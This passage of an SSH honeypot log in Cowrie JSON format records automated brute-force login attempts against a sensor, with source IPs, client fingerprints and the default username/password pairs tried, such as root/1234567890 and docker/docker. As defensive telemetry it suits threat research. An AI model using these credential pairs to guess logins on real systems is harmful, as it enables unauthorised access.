{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:06:48.811731Z","src_ip":"83.168.110.85","session":"3a766e0f5a1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890","message":"login attempt [root/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:06:49.174080Z","src_ip":"83.168.110.85","session":"3a766e0f5a1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:06:50.336057Z","src_ip":"83.168.110.85","session":"3a766e0f5a1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":33718,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ba6488490cd","protocol":"ssh","message":"New connection: 103.27.238.114:33718 (10.17.0.5:22) [session: 5ba6488490cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:06:50.551433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:06:50.556713Z","src_ip":"103.27.238.114","session":"5ba6488490cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:06:50.831908Z","src_ip":"103.27.238.114","session":"5ba6488490cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pussy","message":"login attempt [root/pussy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:06:51.656304Z","src_ip":"103.27.238.114","session":"5ba6488490cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:06:52.936600Z","src_ip":"103.27.238.114","session":"5ba6488490cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":34418,"dst_ip":"159.203.135.109","dst_port":22,"session":"5eda22d46209","protocol":"ssh","message":"New connection: 83.168.110.85:34418 (159.203.135.109:22) [session: 5eda22d46209]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:06:58.927518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:06:58.932298Z","src_ip":"83.168.110.85","session":"5eda22d46209","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:06:59.052225Z","src_ip":"83.168.110.85","session":"5eda22d46209","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dspace","password":"dspace","message":"login attempt [dspace/dspace] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:06:59.415972Z","src_ip":"83.168.110.85","session":"5eda22d46209","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:07:00.539507Z","src_ip":"83.168.110.85","session":"5eda22d46209","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":43462,"dst_ip":"159.203.135.109","dst_port":22,"session":"1efaaf37493d","protocol":"ssh","message":"New connection: 193.32.162.151:43462 (159.203.135.109:22) [session: 1efaaf37493d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:07:08.363764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:07:08.369534Z","src_ip":"193.32.162.151","session":"1efaaf37493d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:07:08.469143Z","src_ip":"193.32.162.151","session":"1efaaf37493d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"loginuser","password":"firewall","message":"login attempt [loginuser/firewall] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:07:08.768637Z","src_ip":"193.32.162.151","session":"1efaaf37493d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":32862,"dst_ip":"159.203.135.109","dst_port":22,"session":"4562e2cdd73e","protocol":"ssh","message":"New connection: 83.168.110.85:32862 (159.203.135.109:22) [session: 4562e2cdd73e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:07:09.375163Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:07:09.379223Z","src_ip":"83.168.110.85","session":"4562e2cdd73e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:07:09.501044Z","src_ip":"83.168.110.85","session":"4562e2cdd73e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"docker","message":"login attempt [docker/docker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:07:09.862697Z","src_ip":"83.168.110.85","session":"4562e2cdd73e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:07:09.886984Z","src_ip":"193.32.162.151","session":"1efaaf37493d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:07:10.986083Z","src_ip":"83.168.110.85","session":"4562e2cdd73e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":40192,"dst_ip":"159.203.135.109","dst_port":22,"session":"8343fd9e12f9","protocol":"ssh","message":"New connection: 83.168.110.85:40192 (159.203.135.109:22) [session: 8343fd9e12f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:07:19.649126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:07:19.653832Z","src_ip":"83.168.110.85","session":"8343fd9e12f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:07:19.778359Z","src_ip":"83.168.110.85","session":"8343fd9e12f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible","message":"login attempt [ansible/ansible] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:07:20.142130Z","src_ip":"83.168.110.85","session":"8343fd9e12f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:07:21.266306Z","src_ip":"83.168.110.85","session":"8343fd9e12f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":41866,"dst_ip":"159.203.135.109","dst_port":22,"session":"dfaa56d21df9","protocol":"ssh","message":"New connection: 83.168.110.85:41866 (159.203.135.109:22) [session: dfaa56d21df9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:07:29.735385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:07:29.740079Z","src_ip":"83.168.110.85","session":"dfaa56d21df9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:07:29.860790Z","src_ip":"83.168.110.85","session":"dfaa56d21df9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123456","message":"login attempt [user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:07:30.226247Z","src_ip":"83.168.110.85","session":"dfaa56d21df9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:07:31.351514Z","src_ip":"83.168.110.85","session":"dfaa56d21df9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":53298,"dst_ip":"159.203.135.109","dst_port":22,"session":"a60f90ab1987","protocol":"ssh","message":"New connection: 83.168.110.85:53298 (159.203.135.109:22) [session: a60f90ab1987]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:07:40.093506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:07:40.097353Z","src_ip":"83.168.110.85","session":"a60f90ab1987","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:07:40.223540Z","src_ip":"83.168.110.85","session":"a60f90ab1987","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"minecraft","message":"login attempt [minecraft/minecraft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:07:40.588133Z","src_ip":"83.168.110.85","session":"a60f90ab1987","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:07:41.711997Z","src_ip":"83.168.110.85","session":"a60f90ab1987","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":52560,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a7da0642f15","protocol":"ssh","message":"New connection: 83.168.110.85:52560 (159.203.135.109:22) [session: 7a7da0642f15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:07:50.434026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:07:50.437967Z","src_ip":"83.168.110.85","session":"7a7da0642f15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh 